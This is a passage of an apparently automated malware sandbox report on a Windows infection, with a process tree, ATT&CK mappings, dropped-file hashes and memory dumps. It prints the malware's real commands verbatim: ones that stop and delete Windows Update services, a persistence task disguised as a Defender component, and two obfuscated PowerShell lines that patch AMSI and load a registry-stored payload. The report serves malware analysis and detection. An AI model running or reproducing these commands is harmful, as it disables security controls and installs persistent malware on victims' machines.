    - Launches sc.exe
    PID:4820
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4764
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4844
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3120
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4876
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3188
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2284
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4420
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3632 -ip 3632
1⤵
PID:2236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3948 -ip 3948
1⤵
PID:4368

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:bRHXeYdkILSJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XhBlaAxArwffjS,[Parameter(Position=1)][Type]$nlavKNyJxU)$JXksGykylpq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+'c'+[Char](116)+''+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+'o'+'d'+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'Ty'+[Char](112)+''+'e'+'','Cl'+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+','+'S'+'e'+'a'+''+[Char](108)+''+'e'+'d,'+[Char](65)+''+[Char](110)+'s'+[Char](105)+'C'+[Char](108)+''+[Char](97)+'ss'+','+'A'+[Char](117)+'t'+'o'+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$JXksGykylpq.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+'p'+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+','+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'yS'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XhBlaAxArwffjS).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+'a'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$JXksGykylpq.DefineMethod(''+'I'+''+[Char](110)+''+'v'+'o'+[Char](107)+'e',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'ic'+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+'r'+'t'+'u'+'a'+[Char](108)+'',$nlavKNyJxU,$XhBlaAxArwffjS).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+'ged');Write-Output $JXksGykylpq.CreateType();}$DbFLzZlaIkxmO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'s'+[Char](116)+''+[Char](101)+'m.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+''+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+'t.'+'W'+''+'i'+''+[Char](110)+''+'3'+''+'2'+''+[Char](46)+'U'+[Char](110)+''+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+'D'+''+[Char](98)+'F'+[Char](76)+''+[Char](122)+''+[Char](90)+''+[Char](108)+'a'+[Char](73)+''+[Char](107)+''+'x'+''+[Char](109)+'O');$ttObHGJwqByuLb=$DbFLzZlaIkxmO.GetMethod(''+[Char](116)+''+[Char](116)+''+[Char](79)+''+[Char](98)+'H'+[Char](71)+'J'+[Char](119)+''+[Char](113)+''+'B'+'y'+'u'+'L'+[Char](98)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QyMDvNjZYyRscKQLkZC=bRHXeYdkILSJ @([String])([IntPtr]);$EYnFsEPTFcvbbGojdCKFEe=bRHXeYdkILSJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$elRftDzjjar=$DbFLzZlaIkxmO.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$BfMKWngkypMghM=$ttObHGJwqByuLb.Invoke($Null,@([Object]$elRftDzjjar,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$AjuTZuKekUdEIseik=$ttObHGJwqByuLb.Invoke($Null,@([Object]$elRftDzjjar,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$QtnwQPL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BfMKWngkypMghM,$QyMDvNjZYyRscKQLkZC).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$zRWMIDZolDEXkRMEB=$ttObHGJwqByuLb.Invoke($Null,@([Object]$QtnwQPL,[Object](''+'A'+''+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$dwdSubuVNb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AjuTZuKekUdEIseik,$EYnFsEPTFcvbbGojdCKFEe).Invoke($zRWMIDZolDEXkRMEB,[uint32]8,4,[ref]$dwdSubuVNb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$zRWMIDZolDEXkRMEB,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AjuTZuKekUdEIseik,$EYnFsEPTFcvbbGojdCKFEe).Invoke($zRWMIDZolDEXkRMEB,[uint32]8,0x20,[ref]$dwdSubuVNb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'e'+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PtrXreKRrBDb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AqueEslZjmIrkv,[Parameter(Position=1)][Type]$KhDwwrllVt)$hoYfbxxSisT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+'c'+'t'+''+[Char](101)+'d'+'D'+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+'emor'+'y'+'M'+[Char](111)+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c,'+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+'iC'+'l'+''+'a'+''+'s'+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+'s'+'',[MulticastDelegate]);$hoYfbxxSisT.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+'i'+'a'+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$AqueEslZjmIrkv).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+'t'+''+'i'+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$hoYfbxxSisT.DefineMethod('I'+'n'+''+'v'+''+[Char](111)+'k'+'e'+'','Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+'V'+'i'+''+'r'+''+'t'+''+[Char](117)+''+'a'+'l',$KhDwwrllVt,$AqueEslZjmIrkv).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'ged');Write-Output $hoYfbxxSisT.CreateType();}$qyhTgzAppoCcH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m.'+'d'+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+'r'+'o'+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+'ns'+[Char](97)+'fe'+'q'+''+[Char](121)+'h'+[Char](84)+'g'+'z'+''+[Char](65)+''+[Char](112)+''+[Char](112)+''+'o'+'C'+'c'+''+[Char](72)+'');$dtRqoITkfKgblK=$qyhTgzAppoCcH.GetMethod(''+[Char](100)+'t'+[Char](82)+''+[Char](113)+''+'o'+''+[Char](73)+''+'T'+'k'+'f'+''+[Char](75)+'g'+[Char](98)+''+[Char](108)+''+[Char](75)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZnmNiHpfHwZmBqqvKTl=PtrXreKRrBDb @([String])([IntPtr]);$yKYDyLsTaivJJskxnwrbrr=PtrXreKRrBDb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ZYJdxIYmxKc=$qyhTgzAppoCcH.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+'d'+''+'u'+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'er'+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')));$qOuoeCbKgMAdHZ=$dtRqoITkfKgblK.Invoke($Null,@([Object]$ZYJdxIYmxKc,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$wzeAOlAyzKVsxXylz=$dtRqoITkfKgblK.Invoke($Null,@([Object]$ZYJdxIYmxKc,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'t'+'u'+''+[Char](97)+''+'l'+'Pr'+'o'+'t'+'e'+''+'c'+''+[Char](116)+'')));$IKZZIqp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qOuoeCbKgMAdHZ,$ZnmNiHpfHwZmBqqvKTl).Invoke('a'+'m'+''+[Char](115)+'i.d'+'l'+''+[Char](108)+'');$YMvlKnnRYILWZJTiT=$dtRqoITkfKgblK.Invoke($Null,@([Object]$IKZZIqp,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+'i'+''+'S'+'ca'+[Char](110)+'B'+[Char](117)+'f'+'f'+'e'+[Char](114)+'')));$aQAxFxPfCc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wzeAOlAyzKVsxXylz,$yKYDyLsTaivJJskxnwrbrr).Invoke($YMvlKnnRYILWZJTiT,[uint32]8,4,[ref]$aQAxFxPfCc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YMvlKnnRYILWZJTiT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wzeAOlAyzKVsxXylz,$yKYDyLsTaivJJskxnwrbrr).Invoke($YMvlKnnRYILWZJTiT,[uint32]8,0x20,[ref]$aQAxFxPfCc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+''+'a'+'l'+[Char](101)+'r'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
MD5 440cb38dbee06645cc8b74d51f6e5f71
SHA1 d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA512 3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 4cdb59be791afbc58929827977508bf87db33e9980ee1faa030d9b2b0af4a804
MD5 3deba98f3da9a7d2805d68c0c993c113
SHA1 91ac389ea883128aa8cd18b3824ffad6314fcad4
SHA512 176eeba15b46d00cef9f2fc0bcf9118adf2f208a11e2e24aaf5da1537467d1a66dcb6892b56c09cda016c439a4b1b36655ddbdfdfe3bc99567ec85b632883fe5
SSDEEP 384:ysf++8E9i+Nn2t9WRILMOv1Jk+o9o2ThK6seY+N7/PNA3SozA4X3lLFazCnrQ0gh:vfgCn2tMdOv0jo2ThNVtYS+FLIzC/nLE
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 40e164bd699c73dde0bcc8b87ed990c12f03dfd17cab7b8767e7a3fca86d5d14
MD5 d3976ee5c15a9fa2c0fadc1a864bd6bc
SHA1 5c1933cabd5d9f68d54b934c17fc490262a09459
SHA512 4b2705cf34622008587b43723f1cf272ed10e57666940e24efd8b4a4cb60c91b06cfcd279e12437e0e0af586e5a565675459341c1dea8754cb1fb7b158848367
MD5 SHA1 SHA512

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C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

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C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

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new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

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memory/620-226-0x00007FFEA7AB0000-0x00007FFEA7AC0000-memory.dmp

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memory/676-225-0x00007FFEA7AB0000-0x00007FFEA7AC0000-memory.dmp

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memory/2308-155-0x0000000007CF0000-0x0000000007D0A000-memory.dmp

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memory/2308-148-0x0000000070B00000-0x0000000070B4C000-memory.dmp

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memory/2308-153-0x0000000007D30000-0x0000000007DC6000-memory.dmp

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memory/2308-154-0x0000000007CA0000-0x0000000007CAE000-memory.dmp

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memory/2308-151-0x0000000007A70000-0x0000000007A8A000-memory.dmp

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memory/2308-156-0x0000000007CE0000-0x0000000007CE8000-memory.dmp

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memory/2308-157-0x0000000007E00000-0x0000000007E22000-memory.dmp

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memory/2308-158-0x0000000008CE0000-0x0000000009284000-memory.dmp

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memory/2308-150-0x00000000080B0000-0x000000000872A000-memory.dmp

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memory/2308-149-0x0000000006D00000-0x0000000006D1E000-memory.dmp

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memory/2308-152-0x0000000007AE0000-0x0000000007AEA000-memory.dmp

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memory/2308-147-0x0000000006D20000-0x0000000006D52000-memory.dmp

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memory/2308-141-0x0000000003180000-0x00000000031B6000-memory.dmp

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memory/2308-146-0x0000000006750000-0x000000000676E000-memory.dmp

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memory/2308-145-0x0000000006140000-0x00000000061A6000-memory.dmp

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memory/2308-144-0x0000000005FA0000-0x0000000006006000-memory.dmp

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memory/2308-142-0x0000000005900000-0x0000000005F28000-memory.dmp

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memory/2308-143-0x00000000058B0000-0x00000000058D2000-memory.dmp

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memory/3572-174-0x0000000000120000-0x0000000000140000-memory.dmp

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memory/3572-180-0x0000000004B40000-0x0000000004B52000-memory.dmp

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memory/3572-181-0x0000000004C70000-0x0000000004D7A000-memory.dmp

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memory/3572-182-0x0000000004BA0000-0x0000000004BDC000-memory.dmp

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memory/3572-185-0x0000000005A60000-0x0000000005AD6000-memory.dmp

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memory/3572-186-0x0000000005C40000-0x0000000005C5E000-memory.dmp

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memory/3572-187-0x0000000005D50000-0x0000000005DA0000-memory.dmp

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memory/3572-188-0x0000000006950000-0x0000000006B12000-memory.dmp

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memory/3572-189-0x0000000007050000-0x000000000757C000-memory.dmp

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memory/3572-179-0x0000000005140000-0x0000000005758000-memory.dmp

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memory/3640-194-0x00007FFEC8700000-0x00007FFEC91C1000-memory.dmp

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memory/3640-191-0x00000140D6CB0000-0x00000140D6CD2000-memory.dmp

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memory/3896-164-0x0000000000550000-0x00000000006BC000-memory.dmp

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memory/3896-167-0x0000000005010000-0x00000000050A2000-memory.dmp

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memory/3896-171-0x0000000005480000-0x000000000548A000-memory.dmp

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memory/4384-193-0x0000000002718000-0x0000000002855000-memory.dmp

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memory/4384-190-0x00000000021FD000-0x0000000002701000-memory.dmp

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memory/4384-184-0x0000000002718000-0x0000000002855000-memory.dmp

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memory/4384-183-0x00000000021FD000-0x0000000002701000-memory.dmp

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memory/4420-208-0x00007FFEC8820000-0x00007FFEC92E1000-memory.dmp

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memory/4420-206-0x00007FFEC8820000-0x00007FFEC92E1000-memory.dmp

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memory/4788-212-0x00007FFEE7A30000-0x00007FFEE7C25000-memory.dmp

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memory/4788-213-0x00007FFEE6E20000-0x00007FFEE6EDE000-memory.dmp

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memory/4788-221-0x00007FFEE6E20000-0x00007FFEE6EDE000-memory.dmp

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memory/4788-220-0x00007FFEE7A30000-0x00007FFEE7C25000-memory.dmp

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memory/4788-211-0x00007FFEC8D70000-0x00007FFEC9831000-memory.dmp

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memory/4788-219-0x00007FFEC8D70000-0x00007FFEC9831000-memory.dmp

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memory/5016-214-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/5016-217-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/5016-218-0x00007FFEE7A30000-0x00007FFEE7C25000-memory.dmp

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memory/5016-222-0x00007FFEE6E20000-0x00007FFEE6EDE000-memory.dmp

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memory/5016-223-0x0000000140000000-0x0000000140029000-memory.dmp

